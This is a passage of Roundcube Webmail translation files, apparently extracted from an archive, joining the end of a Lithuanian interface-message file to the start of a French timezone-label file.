$messages['copyingmessage'] = 'Laiškas(-ai) kopijuojamas(-i)…';
$messages['copyingcontact'] = 'Adresatas(-ai) kopijuojamas(-i)…';
$messages['movingcontact'] = 'Adresatas(-ai) perkeliamas(-i)…';
$messages['deletingmessage'] = 'Laiškas(-ai) šalinamas(-i)…';
$messages['markingmessage'] = 'Laiškas(-ai) žymimas(-i)…';
$messages['addingmember'] = 'Adresatas(-ai) įtraukiamas(-i) į grupę…';
$messages['removingmember'] = 'Adresatas(-ai) šalinamas(-i) iš grupės…';
$messages['receiptsent'] = 'Laiško perskaitymo pažyma sėkmingai išsiųsta.';
$messages['errorsendingreceipt'] = 'Laiško perskaitymo pažymos išsiųsti nepavyko.';
$messages['deleteidentityconfirm'] = 'Ar tikrai norite pašalinti šią tapatybę?';
$messages['nodeletelastidentity'] = 'Šios tapatybės šalinti negalima, nes ji vienintelė likusi.';
$messages['forbiddencharacter'] = 'Aplanko varde aptikta neleistinų simbolių.';
$messages['selectimportfile'] = 'Parinkite norimą įkelti failą.';
$messages['addresswriterror'] = 'Pasirinktoji adresų knyga prieinama tik skaitymui.';
$messages['contactaddedtogroup'] = 'Adresatai sėkmingai įtraukti į šią grupę.';
$messages['contactremovedfromgroup'] = 'Adresatai sėkmingai pašalinti iš šios grupės.';
$messages['nogroupassignmentschanged'] = 'Grupių priskyrimai nepakeisti.';
$messages['importwait'] = 'Importuojama, prašome palaukti…';
$messages['importformaterror'] = 'Importas nepavyko! Įkeltasis failas nėra tinkamas importavimui duomenų failas.';
$messages['importconfirm'] = '<b>Sėkmingai importuoti $inserted adresatai(-ų)</b>';
$messages['importconfirmskipped'] = '<b>Praleisti $skipped jau egzistuojantys adresatai(-ų)</b>';
$messages['importmessagesuccess'] = 'Importuota laiškų: $nr';
$messages['importmessageerror'] = 'Importas nepavyko! Įkeltasis failas nėra tinkamas importavimui laiško arba pašto dėžutės failas';
$messages['opnotpermitted'] = 'Veiksmas neleistinas!';
$messages['nofromaddress'] = 'Nenurodytas pasirinktosios tapatybės el. pašto adresas.';
$messages['editorwarning'] = 'Keičiant redaktorių gali būti prarastas teksto formatavimas. Ar norite tęsti?';
$messages['httpreceivedencrypterror'] = 'Įvyko lemtinga konfigūracijos klaida. Nedelsiant susisiekite su administratoriumi. <b>Jūsų laiškas negali būti išsiųstas.</b>';
$messages['smtpconnerror'] = 'SMTP klaida ($code): nepavyko prisijungti prie serverio.';
$messages['smtpautherror'] = 'SMTP klaida ($code): nepavyko autentikuotis.';
$messages['smtpfromerror'] = 'SMTP klaida ($code): nepavyko nurodyti siuntėjo „$from“ ($msg).';
$messages['smtptoerror'] = 'SMTP klaida ($code): nepavyko pridėti gavėjo „$to“ ($msg).';
$messages['smtprecipientserror'] = 'SMTP klaida: nepavyko apdoroti gavėjų sąrašo.';
$messages['smtputf8error'] = 'SMTP klaida: Serveris nepalaiko unikodo el. pašto adrese.';
$messages['smtpsizeerror'] = 'SMTP klaida: Laiško dydis viršija serverio nustatytą ribą ($limit)';
$messages['smtperror'] = 'SMTP klaida: $msg';
$messages['emailformaterror'] = 'Netinkamas el. pašto adresas: $email';
$messages['toomanyrecipients'] = 'Per daug gavėjų. Sumažinkite jų bent iki $max.';
$messages['maxgroupmembersreached'] = 'Grupės narių skaičius viršijo maksimalų leistiną ($max).';
$messages['internalerror'] = 'Įvyko klaida. Prašom bandyti iš naujo.';
$messages['contactdelerror'] = 'Nepavyko pašalinti adresato(-ų).';
$messages['contactdeleted'] = 'Adresatas(-ai) sėkmingai pašalintas(-i).';
$messages['contactrestoreerror'] = 'Nepavyko atkurti pašalinto(-ų) adresato(-ų).';
$messages['contactrestored'] = 'Adresatas(-ai) sėkmingai atkurtas(-i).';
$messages['groupdeleted'] = 'Grupė sėkmingai pašalinta.';
$messages['grouprenamed'] = 'Grupė sėkmingai pervardinta.';
$messages['groupcreated'] = 'Grupė sėkmingai sukurta.';
$messages['savedsearchdeleted'] = 'Radinių aplankas sėkmingai pašalintas.';
$messages['savedsearchdeleteerror'] = 'Radinių aplanko pašalinti nepavyko.';
$messages['savedsearchcreated'] = 'Radinių aplankas sėkmingai sukurtas.';
$messages['savedsearchcreateerror'] = 'Radinių aplanko sukurti nepavyko.';
$messages['messagedeleted'] = 'Laiškas(-ai) sėkmingai pašalintas(-i).';
$messages['messagemoved'] = 'Laiškas(-ai) sėkmingai perkeltas(-i).';
$messages['messagemovedtotrash'] = 'Laiškas(-ai) sėkmingai perkeltas(-i) į Šiukšlinę.';
$messages['messagecopied'] = 'Laiškas(-ai) sėkmingai nukopijuotas(-i).';
$messages['messagemarked'] = 'Laiškas(-ai) sėkmingai pažymėtas(-i).';
$messages['autocompletechars'] = 'Automatiniam užbaigimui būtini bent $min simboliai.';
$messages['autocompletemore'] = 'Rasta daugiau atitikmenų. Įveskite dar porą simbolių.';
$messages['namecannotbeempty'] = 'Vardas negali būti tuščias.';
$messages['nametoolong'] = 'Vardas yra per ilgas.';
$messages['namedotforbidden'] = 'Aplanko vardas negali prasidėti tašku.';
$messages['folderupdated'] = 'Aplanko savybės sėkmingai atnaujintos.';
$messages['foldercreated'] = 'Aplankas sėkmingai sukurtas.';
$messages['invalidimageformat'] = 'Paveikslo formatas netinkamas.';
$messages['mispellingsfound'] = 'Laiške rasta rašybos klaidų.';
$messages['parentnotwritable'] = 'Nepavyko sukurti arba perkelti aplanko į parinktą tėvinį aplanką. Trūksta prieigos teisių.';
$messages['messagetoobig'] = 'Laiško dalis yra per didelė, kad galėtų būti apdorota.';
$messages['attachmentvalidationerror'] = 'Šis priedas yra įtartinas, nes jo tipas neatitinka laiške deklaruoto tipo. Jeigu nepasitikite siuntėju, tuomet jūs neturėtumėte naršyklėje atverti šio priedo, nes jame gali būti kenkėjiškas turinys.<br/><br/><em>Tikėtasi: $expected; rasta: $detected</em>';
$messages['noscriptwarning'] = 'Dėmesio: šiai saityno el. pašto sistemai veikti būtini „JavaScript“ scenarijai! Norėdami ja naudotis, įjunkite „JavaScript“ savo naršyklės nuostatose.';
$messages['messageissent'] = 'Laiškas jau buvo išsiųstas, bet dar neišsaugotas. Ar norite jį išsaugoti?';
$messages['errnotfound'] = 'Failas nerastas';
$messages['errnotfoundexplain'] = 'Ieškomas šaltinis nerastas';
$messages['errfailedrequest'] = 'Nesėkminga užklausa';
$messages['errauthorizationfailed'] = 'Autorizacija nepavyko';
$messages['errunauthorizedexplain'] = 'Nepavyko patvirtinti ar jums leista naudotis šia paslauga.';
$messages['errrequestcheckfailed'] = 'Patikrinimas nepavyko';
$messages['errcsrfprotectionexplain'] = "Jūsų saugumui, prieiga prie šio išteklio yra apsaugota nuo CSRF.\nlfJeigu jūs tai matote, tai reiškia, kad taisyklingai neatsijungėte prieš baigdamas darbąsu programa.\n\nNorint tęsti reikalingas žmogaus įsikišimas.";
$messages['errcontactserveradmin'] = 'Susisiekite su serverio administratoriumi.';
$messages['clicktoresumesession'] = 'Spauskite čia, tam kad tęstumėte ankstesnę sesiją';
$messages['errcomposesession'] = 'Laiško rašymo sesijos klaida.';
$messages['errcomposesessionexplain'] = 'Ieškoma pranešimo kūrimo sesija nerasta.';
$messages['clicktocompose'] = 'Spausk čia, norėdamas pradėti rašyti naują laišką';
$messages['nosupporterror'] = 'Jūsų saityno naršyklė nepalaiko šios ypatybės.';
$messages['siginserted'] = 'Parašas sėkmingai įterptas.';
$messages['responseinserted'] = 'Atsakymas sėkmingai įterptas.';
$messages['noresponsesavailable'] = 'Nėra prieinamų atsakymų';
$messages['listempty'] = 'Sąrašas tuščias.';
$messages['listusebutton'] = 'Norėdami sukurti naują įrašą, naudokite mygtuką "Sukurti".';
$messages['keypaircreatesuccess'] = 'Nauja raktų pora buvo sėkmingai sukurta tapatybei $identity.';
$messages['emptyattachment'] = 'Atrodo, kad šis priedas yra tuščias.<br>Pasiteiraukite asmens, kuris atsiuntė jums šį priedą.';
$messages['oauthloginfailed'] = 'OAuth prisijungimas nepavyko. Bandykite dar kartą.';
PK
h�\6&�ǵN�N(program/localization/fr_FR/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'TUC';
$labels['tz:africa'] = 'Afrique';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis-Abeba';
$labels['tz:africa:algiers'] = 'Alger';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Le Caire';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'America';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaína';
$labels['tz:america:argentina'] = 'Argentine';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbade';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Bélize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Détroit';
$labels['tz:america:dominica'] = 'Dominique';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenade';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyane';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havane';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaïque';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Mérida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montévidéo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Dakota du Nord';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Centre';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Saint-Domingue';
$labels['tz:america:sao_paulo'] = 'São Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John’s";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Sainte-Lucie';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarctique';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d’Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arctique';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asie';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Baghdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beyrouth';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damas';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubaï';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hébron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jérusalem';
$labels['tz:asia:kabul'] = 'Kaboul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Koweït';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manille';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Séoul';
$labels['tz:asia:shanghai'] = 'Shanghaï';
$labels['tz:asia:singapore'] = 'Singapour';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Téhéran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantique';
$labels['tz:atlantic:azores'] = 'Açores';
$labels['tz:atlantic:bermuda'] = 'Bermudes';
$labels['tz:atlantic:canary'] = 'Canaries';
$labels['tz:atlantic:cape_verde'] = 'Cap Vert';
$labels['tz:atlantic:faroe'] = 'Féroé';
$labels['tz:atlantic:madeira'] = 'Madère';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'Géorgie du Sud';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australie';
$labels['tz:australia:adelaide'] = 'Adélaïde';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europe';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorre';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Athènes';
$labels['tz:europe:belgrade'] = 'Belgrade';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Bruxelles';
$labels['tz:europe:bucharest'] = 'Bucharest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Copenhagen ';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'île de Man';
$labels['tz:europe:istanbul'] = 'Istamboul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisbonne';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'Londres';
$labels['tz:europe:luxembourg'] = 'Luxembourg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malte';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moscow ';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prague';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rome';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'Saint-Marin';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirane';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatican';
$labels['tz:europe:vienna'] = 'Vienne';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Varsovie';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zurich';
$labels['tz:indian'] = 'Indien';
$labels['tz:indian:antananarivo'] = 'Tananarive';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comores';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldives';
$labels['tz:indian:mauritius'] = 'Maurice';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Réunion';
$labels['tz:pacific'] = 'Pacifique';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Pâques';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
